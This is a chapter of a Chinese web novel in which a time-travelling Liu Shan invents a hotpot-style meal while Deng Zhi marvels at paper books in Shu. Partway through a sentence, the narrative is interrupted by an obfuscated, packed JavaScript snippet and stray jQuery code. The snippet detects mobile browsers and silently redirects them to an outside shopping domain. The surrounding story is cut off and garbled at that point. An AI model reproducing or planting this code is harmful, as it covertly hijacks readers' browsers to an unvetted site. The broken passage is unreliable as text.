说话期间,队伍往前移动了一些。

    邓芝往院子里走了几步,目光一扫,看到靠墙的长案上摆着几本已经装订好的纸本书籍。他走过去,拿起一本翻了翻。

    这是《蜀科》。

    他听说过,《蜀科》是刘备入蜀之后,诸葛亮、法正、伊籍、刘巴几个人一起制定的律令,算是益州现在的基本法典。

    这原本没什么值得惊讶的,可现在拿在手里的,是纸本的《蜀科》!

    就这么薄薄一册,全部律令条文集于一册,拿在手里轻飘飘的,往怀里一揣就能带走。

    邓芝翻了几页,表情越来越复杂。

    他深吸一口气,把纸本《蜀科》轻轻放回原处,目光在书坊院子里扫了一圈。

    那些埋头抄书的儒生,有年轻的,也有中年人,穿的衣服有新的有旧的,但每个人都神色认真。

    没有人交头接耳,没有人偷懒磨蹭,所有人都在安安静静地抄,院子里的气氛安静而专注,只听得见笔尖划过纸面的沙沙声。

    邓芝站在那儿,心里却在翻江倒海。

    他在蜀中待了快两年了,从来没有像今天这样,被一件事情实实在在地震动过!

    纸这种东西,看起来不起眼,但它正在改变整个益州的根基。

    纸便宜了,书就便宜了;书便宜了,知识就能流动起来;知识流动起来,人才就会冒出来;人才冒出来了,一个割据政权的根基才算真正扎稳。

    邓芝想起了昨天晚上酒馆里那两个儒生的对话,他们不确定刘备能不能把益州经营好。

    可如果有了这种纸呢?如果书坊的规模再扩大几倍呢?如果全益州的读书人都能买得起纸、抄得起书呢?

    到了那一天……

    邓芝深吸了一口气,缓缓吐出来。他转身走出书坊院子,脚步比来的时候快了不少。

    ……

    刘禅缩在书房里,身上裹着一件小号的羊皮袄,两只手揣在袖子里。

    面前摊着一本抄的书,实际上已经盯着同一行字看了快一刻钟,一个字都没看进去。

    刘禅把纸往旁边一推,整个人往后一仰靠在凭几上,开始认真地怀念上辈子的暖气片和电热毯。

    还有火锅!

    大冬天的时候,铜锅一架,炭火烧得旺旺的,红油汤底咕嘟咕嘟冒着泡,切得薄薄的羊肉片往里头一涮,捞出来蘸上芝麻酱,配上一口糖蒜……那滋味,简直了!

    他咽了口口水。

    说起来,这个时代有没有火锅?

    严格意义上讲,涮煮的吃法上古就有了,周代祭祀的时候会把肉放在镬里煮,但那跟后世的火锅完全是两码事。

    汉代倒是有一种叫“温鼎”的东西,是个带炭盘的陶制小鼎,底下可以放炭火,上面煮着食物,能保温,也能边煮边吃。

    只不过现在的人大多拿它来保温炖好的菜,很少有人想到专门拿它来当锅子涮生肉吃。

    温鼎他是见过的。前几天去厨房转悠的时候,看见墙角搁着几个陶制温鼎,落了一层灰,显然是不常用。

    当时他没在意,现在回想起来,那东西不就是现成的火锅锅子吗?

    刘禅的眼睛亮起来。

    汤底的话,辣椒是没戏了,那玩意儿还在美洲大陆上长着呢,离传到中国还有一千多年,他在小册子上也画了,希望糜家的商队能帮他找回来。

    但蜀地别的香料多啊!可以找个平替!

    花椒有,干姜满大街都是,豆豉更是家家户户常备的东西。这三样凑在一起,熬出来的汤底又麻又辣又鲜,虽然跟红油火锅有差距,但在这个时代已经足够能打了!

    至于涮菜,冬天蜀地的菜蔬虽然没夏天多,但冬笋正是好时候,芋头到处都有,还有芦菔、葵菜,肉就更不用说了!

    刘禅越想越馋,弹起来就往外走。

    “公子,您去哪儿啊?”小六正蹲在廊下打盹,被他一开门吓了一跳,赶紧站起来。

    “去厨房。”刘禅一边走一边说,“找陈厨。”

    刘禅到的时候,陈厨正坐在灶前的小马扎上剥蒜,面前摆了一小筐,剥得挺认真。

    “公子?”陈厨一抬头看见他,赶紧站起来,“您怎么来了?您要吃什么东西让人来传一声就行。”

    “陈婶,我来是想跟你商量个事。”刘禅问,“厨房里是不是有几个不用的温鼎?”

    陈厨一愣,想了想,“是有几个,搁在杂物棚子里头。那东西不常用,平日也就是偶尔拿来热个炖菜,用不太上。”

    “能不能找出来洗洗干净?我想拿它做个新吃法。”

    “新吃法?”陈厨来了兴趣。

    上次刘禅拿苦笋做凉拌菜的事她还记得清清楚楚。

    那苦笋他当时是真觉得不能吃,结果按刘禅的法子处理完,不但能吃了,还挺好吃,后来改成了府上的新菜品,州牧甚至专门让他们传出去教给百姓。

    所以听公子再说“新吃法”,陈厨的态度已经从半信半疑变成了满怀期待。

    “好啊好啊,您说说,怎么个新吃法?”

    刘禅比划了一下,“把温鼎底下的炭盘烧起来,上面鼎里放汤,一边煮一边往里涮生肉片和菜。肉切成薄片,在滚汤里烫几下就熟了,捞出来蘸料吃,比炖煮的肉嫩得多。”

    陈厨想了想那个场景,眼睛越睁越大,“这倒是新鲜。肉现涮现吃,确实比提前炖好的要鲜嫩。”

    “对吧?”刘禅笑眯眯的,“而且冬天吃这个最合适,汤底一直滚着,吃多久都不会凉。”

    “那汤底用什么?”

    “花椒、干姜、豆豉,三样熬汤。”刘禅掰着手指头说,“干姜切片,豆豉碾碎了放,熬浓一点。肉的话,猪肉、鸡肉都行,切成薄片,越薄越好。菜就用冬笋、芋头、芦菔、葵菜这几样,该切片的切片,该切块的切块。”

    陈厨越听越觉得靠谱,搓了搓手,“公子,要不我现在就去把温鼎找出来?先试一锅看看成色。”

    “行!”刘禅站起来,“我把要用的东西都列清楚,你照着准备。肉切片的事让帮厨的人帮忙,刀工要细,肉片要薄到透光才好!”

    陈厨对做饭很有热情,应了一声,兴冲冲地去找温鼎了。

    刘禅拿炭条在纸上列了一张单子,把汤底的配方、需要的食材种类和数量、肉片的切法

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17785354|208875||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    要求都写清楚,陈厨一看就心里有数了。

    他看着陈厨把洗干净的温鼎摆在灶台上。

    这是个陶制的三足小鼎,肚子圆鼓鼓的,底下带一个炭盘,整体大概有脸盆大小。洗完之后陶面泛着暗红色的光泽,看着还挺像那么回事。

    “这个好,”刘禅拍了拍温鼎,“大小刚好够一个人吃。”

    陈厨已经开始准备汤底了。

    花椒下热锅干炒了一下,炒出香味,然后加水,放入姜片和碾碎的豆豉,大火烧开后转小火慢慢熬。

    炒过的花椒香味更浓,没一会儿整个厨房里就弥漫着一股辛香的气味,闻着就让人冒汗。

    帮厨的两个杂役在切肉。

    刘禅要求肉片要薄,这俩人也是用了心的,把猪肉和鸡肉都切成差不多铜钱厚的薄片,铺在盘子里码得整整齐齐。

    冬笋切片,芋头切块,芦菔切成厚片,葵菜择洗干净,一样一样都备好了。

    蘸料上刘禅也花了心思,毕竟火锅的重点就在于蘸料!

    他让陈厨调了两种,一种用豆酱打底,加了点醋和姜末,咸酸口;另一种用花椒碾碎了拌盐,干蘸,吃的是麻香味。

    汤底熬了小半个时辰,陈厨掀开盖子看了一眼,汤色已经变成了深褐色,花椒和姜的香气完全融进汤里,闻着就让人食欲大开。

    “公子,差不多了。”陈厨把汤舀进温鼎里,又在底下炭盘里放了几块烧红的炭。

    汤一进温鼎就开始咕嘟冒泡,热气带着辛香味往外飘。

    刘禅拿起筷子,夹了一片猪肉放进滚汤里。

    肉片在汤里翻了两下,粉红色迅速变成白色,也就两三个呼吸的功夫就熟了。他捞出来在豆酱蘸料里蘸了一下,吹了两口气,一口塞进嘴里。

    美味!

    肉片嫩得几乎不用嚼,花椒的麻、姜的辣、豆豉的鲜全挂在肉上,咸香开胃,比炖煮的肉强了不止一个档次。

    刘禅满意地点了点头。

    陈厨也尝了一片,嚼完之后愣了好一会儿,“公子,这、这吃法真绝了!肉片这么涮着吃,比煮一大锅肉再捞出来分着吃有滋味多了!”

    “是吧?”刘禅又涮了一片鸡肉,蘸了干料,“而且一人一只鼎,各涮各的,想吃嫩的就少涮一会儿,想吃老的就多煮一会儿,不用迁就别人。”

    “对对对!”陈厨越吃越上瘾,自己又夹了块芋头放进汤里煮,“芋头这么煮也好吃,吸了汤的味,比白水煮的香多了。”

    刘禅又试了冬笋和芦菔,确实都不错。

    冬笋脆嫩,带着一丝清甜,在麻辣汤底里涮过之后甜辣交织,口感层次很丰富。

    芦菔煮软了之后吸满了汤汁,咬一口汁水四溅。葵菜稍微涮一下就捞出来,爽脆清口,正好解腻。

    “陈婶,你觉得这东西端上桌怎么样?”

    “正合适!”陈厨放下筷子,擦了擦嘴,“公子,这东西要是拿出去招待客人,一点都不丢份。每人都有一只小鼎,自己涮自己吃,又暖和又有趣,比寻常的炖菜体面多了。”

    “那就这么定了。”刘禅从马扎上站起来,“今晚我请阿父和阿母吃这个!”